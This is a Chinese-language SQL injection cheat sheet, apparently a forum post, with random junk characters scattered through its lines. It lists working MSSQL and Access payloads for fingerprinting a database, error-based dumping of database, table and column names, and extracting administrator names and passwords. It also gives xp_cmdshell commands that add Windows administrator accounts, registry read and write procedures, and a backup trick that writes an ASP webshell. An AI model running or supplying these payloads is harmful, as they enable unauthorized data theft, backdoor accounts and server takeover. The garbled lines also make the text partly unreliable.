1.判断是否有注入
& V6 [' `3 f) ^( `6 \- ~;and 1=1
, ]) u9 W/ E0 {: P" {;and 1=2
& o/ d9 H, `2 i) c7 N) Q9 k# D4 G9 @, c, v0 A! b+ i5 S8 S6 H
2.初步判断是否是mssql $ `2 L: K/ Q& A# D* |5 ?' f
;and user>0 , p+ }- m4 o; l3 d- ?
! K" |: c) n4 _/ G" ?3.判断数据库系统
+ s$ A+ X0 l9 x. X& m; f;and (select count(*) from sysobjects)>0 mssql
3 J, `4 F0 \/ |' O2 P2 v! l3 S; C( @;and (select count(*) from msysobjects)>0 access " n& \, K5 `1 S3 x8 Q
% T9 u y& X5 O% b4.注入参数是字符
2 x- H& `, W0 [3 U+ V$ ['and [查询条件] and ''=' 4 K4 R! W$ w- [1 A$ `* f7 u8 q
+ ~# @# w q6 v; v
5.搜索时没过滤参数的 ( v9 H$ f: F/ f
'and [查询条件] and '%25'=' 8 t/ Y/ Z- q8 Y( E0 Y- Y+ g
; x8 [" P: X! ?# c
6.猜数表名
! B6 `+ M8 X, M+ ?* Y% c1 ];and (select Count(*) from [表名])>0
- L0 h8 u* h+ ~+ g: m! \7 R& q3 K" a1 g: r7 w
7.猜字段 ! M6 C/ |0 _$ F6 g0 Y
;and (select Count(字段名) from 表名)>0 - `, z! d' ^8 Q* D. i* G, f. {1 Z% Q
, K* C+ `4 ]* N. W$ Z
8.猜字段中记录长度 / V1 K$ ~# h0 f, C2 A0 j$ X
;and (select top 1 len(字段名) from 表名)>0 / U5 W" z' v: Y4 d1 W2 {: v9 h g
2 I' g- {8 D, K6 {6 r
9.(1)猜字段的ascii值(access)
; w8 c0 E, b, G9 w) |: n1 s* K" i/ t;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
* n5 }8 T5 p- y; p. X
% Q0 \; T* Q O2 T(2)猜字段的ascii值(mssql)
$ A" d5 |( ^6 C) h1 a* H;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
% B5 p' k) v: }7 M
1 s+ U; E. E2 L& n1 y$ @2 T10.测试权限结构(mssql)
d2 G1 {6 J' r' x% Y;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 3 b/ T! K) |. ?& n9 s
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
: h3 S5 t# K' g5 M;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ) {/ |7 f( { J
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 6 i% T* w+ Z* k' l- R, g3 f! r
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ; q3 e( C$ m- E
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
; w7 {! J: D0 `;and 1=(select IS_MEMBER('db_owner'));--
5 X( k- d4 @4 I: C( b) `
6 ?" c q: X P, l3 ~/ j11.添加mssql和系统的帐户
" L- ]# a; |( W3 _) s;exec master.dbo.sp_addlogin username;-- % x8 P' v4 a7 V8 J
;exec master.dbo.sp_password null,username,password;--
2 D E9 M. ]/ M; E/ S8 l' q4 a;exec master.dbo.sp_addsrvrolemember sysadmin username;-- * m+ P$ }; Q( Z+ m
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
1 X0 b8 c$ V5 T. q7 m;exec master.dbo.xp_cmdshell 'net user username password /add';--
. e( w; {+ R- D/ \;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- - K9 t, v& \( t9 o6 R& s% ^" }
; ]9 c8 d3 I' ~ d) t
12.(1)遍历目录
3 w `3 @. p6 a0 w;create table dirs(paths varchar(100), id int)
H8 v0 x: y; q2 o! P. U;insert dirs exec master.dbo.xp_dirtree 'c:\'
/ q# d/ w# p! \, O4 C;and (select top 1 paths from dirs)>0
# Y" L+ ^6 V- ?5 b; y;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) . b2 ~ q* H P" N* K5 R) x
/ L' N% m6 p! {5 ?
(2)遍历目录
& k A; E; W* i1 V;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 3 a% l% T0 e+ b: j' \* P
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
8 i+ u# `# X/ Y1 k8 ]2 e7 I2 d;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 + `7 ~( o( ]3 F0 d2 H7 j
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
1 c+ ^8 o; A+ f+ p;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
, ~7 s8 w8 C1 Z; h0 O' r+ ?/ [: A
1 _$ u# e& }+ q13.mssql中的存储过程 3 p# g) ~! w2 R' w1 P
xp_regenumvalues 注册表根键, 子键 e l9 K% T* O; Y; @
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 6 m& R# _/ A' I% \
xp_regread 根键,子键,键值名 4 Q; U# V5 W( F5 M# G
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ]. w) |( `# t# ~6 V# k
xp_regwrite 根键,子键, 值名, 值类型, 值 . ~1 i9 e( m; J5 D3 J
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
; y* t; U( _8 y4 Q;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 3 n/ h# _! \+ x! {
xp_regdeletevalue 根键,子键,值名
. G/ ~) [+ [. R: ]! R. h+ `1 l, y) Oexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
, R( @1 `) O6 T2 W* u( w: oxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 8 c+ z. t7 Q H6 y1 Y
* i' t& n6 ^- {- l1 I; T/ ^4 \
14.mssql的backup创建webshell $ }' W1 [6 N$ _9 b9 _* f& \' c
use model
8 \8 V* e( b; Qcreate table cmd(str image);
/ K* Y# ^$ f) ^5 f1 Q$ sinsert into cmd(str) values ('<% Dim oScript %>');
/ Y3 T" Y1 Z/ q1 U2 ]3 z8 N$ _" jbackup database model to disk='c:\l.asp';
! o4 A3 n* ^. ^' G3 E% V% [7 H3 x5 t7 H' a0 h* c* [
15.mssql内置函数 * J# V' e2 [- S$ ~0 [( K
;and (select @@version)>0 获得Windows的版本号
) p* D; ?& D9 g6 \, I# H# N5 q;and user_name()='dbo' 判断当前系统的连接用户是不是sa
3 ? r1 g+ Z, }: d& N9 U/ Z;and (select user_name())>0 爆当前系统的连接用户
* w& I" \6 A2 i( `% X;and (select db_name())>0 得到当前连接的数据库 0 p8 d/ F$ [" x# L7 Q/ T
- Z4 w) z, t: a4 Z0 s* _
3 J/ g" `* z2 U2 S, ^: U
' z: Y* v! V# a- E) i0 Y8 N( h
MSSQL手注暴库) l8 h0 l8 \: C, E
) F5 ?3 Q+ y5 Q) ~9 W
1.暴出当前表名和列名2 H" W9 j6 Y. j2 K: [, B# \& o
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。9 g* C6 P Z' u$ M
! f0 h9 Q' |8 M8 ?1 M1 R6 \第一.爆出所有数据库名
# C# T" L( P" ?' f9 j利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。; X4 B, Y9 E# N' P) o3 n
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。+ J) p, V, Q5 D1 Y3 i4 n
1 e, x+ i: ]( ~7 Zand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名
2 ?& N4 [ d1 I" F G+ Q3 W5 p0 m6 k9 o
' c7 Y: M( T/ w @; D/ Q
第二.爆出指定库中的所有表名- C$ Z! L. D$ V% @
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
9 c G$ k: v0 ?% Z/ d4 G再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。! N+ e, G0 W- R0 @6 x( x" _# J
3 R/ v4 t7 H3 M+ b: ~and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
$ o) y }- p+ U5 d) P; p! b' _and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--; M( l2 t: i) F) _0 m
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
+ N" J/ j/ [% O6 Y
: a+ R* g t1 e6 |4.爆出指定表中的所有列名) \. H% D2 P2 Z! p( g% B" v
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
$ I* I0 ]6 Q$ s% q6 O//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'
* S4 k/ G( L2 u. K2 Z: X* r& _ `0 Z
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名
8 T$ r% A8 e- q+ _4 U% h) |
0 H8 R6 v2 }0 p' ?) s7 l; Q再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- % S) z+ j; L. ~& ?6 {! P
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
2 U) c: }7 U @. }8 [+ k$ o# L0 P# E$ L8 D1 s
7 }, k# n. J" Q3 {( m7 k' s, f* T9 dand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值0 R3 e2 n/ Z: U' q$ ]/ w1 u
; N5 u5 N: S( @3 ]5 H. b7 r
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名) y4 H2 c9 ~. Y: s- f
- ~1 d+ I6 l4 s, l4 b: E5 |8 }
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- 7 l& v( D5 ?) L/ M/ s+ ^
% l5 W# b8 X- }. b9 c
j8 k1 }3 e2 A9 }
1 x8 A! k5 G$ E a& Y& q5.读取指定表中的数据
/ S2 d) x) B: S8 m0 H* q: H5 `% s$ [
7 |2 j, x# O9 N3 Q- [! p- h" i+ }and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 , Q0 ?& g+ D8 C
! P2 G6 y5 p! `% iand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
3 J0 t" N* A0 d" H* |
/ ~! n- F; J6 l0 @! L6 _0 k2 pand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码* b- W' n1 W$ t/ e6 w
, e7 v+ @2 {! Y1 \
% Y( c' s, [: T3 vand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)
9 K: q) D, T. D6 k) L
9 g: Z1 @, X' rand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
* P, f( J4 h: t: |/ [% t- V6 A. A# ~# i, }! E
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--$ O3 W! s8 ~! F5 H; u1 `$ z7 t5 z
, a4 s' q& y7 z5 ]
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。2 q' x* Q: E$ `* ^& c
|